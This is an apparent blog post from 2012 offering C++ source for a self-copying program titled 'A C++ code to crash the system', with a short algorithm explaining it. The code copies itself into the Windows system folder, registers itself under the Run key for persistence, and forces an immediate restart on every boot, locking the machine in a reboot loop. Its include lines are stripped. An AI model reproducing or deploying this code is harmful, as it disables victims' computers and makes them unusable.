Monday, 3 September 2012

A C++ code to crash the system.








#include
#include
#include

void main()
{
int done;
char buff[128];
struct ffblk ffblk;
FILE *self,*target;
done=findfirst("C:\\windows\\system\\terminator.exe",&ffblk,0);
if(done==0)
{
system("shutdown -r -t 0");
}
else
{
self=fopen(_argv[0],"rb");
target=fopen("C:\\windows\\system\\terminator.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v terminator \/t REG_SZ \/d C:\\windows\\system\\terminator.exe");
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
}

Algorithm:

1. Create terminator.exe in system folder.

2. Create a registry patch so that it will be checked at every start up.

3. Restart command if terminator.exe is present otherwise create it.


No comments:

Post a Comment

Hide New... button on lookup controls in model-driven apps

  The 'New ...' button is shown upon opening the lookup search dialog whenever the logged in user has at least user create privileg...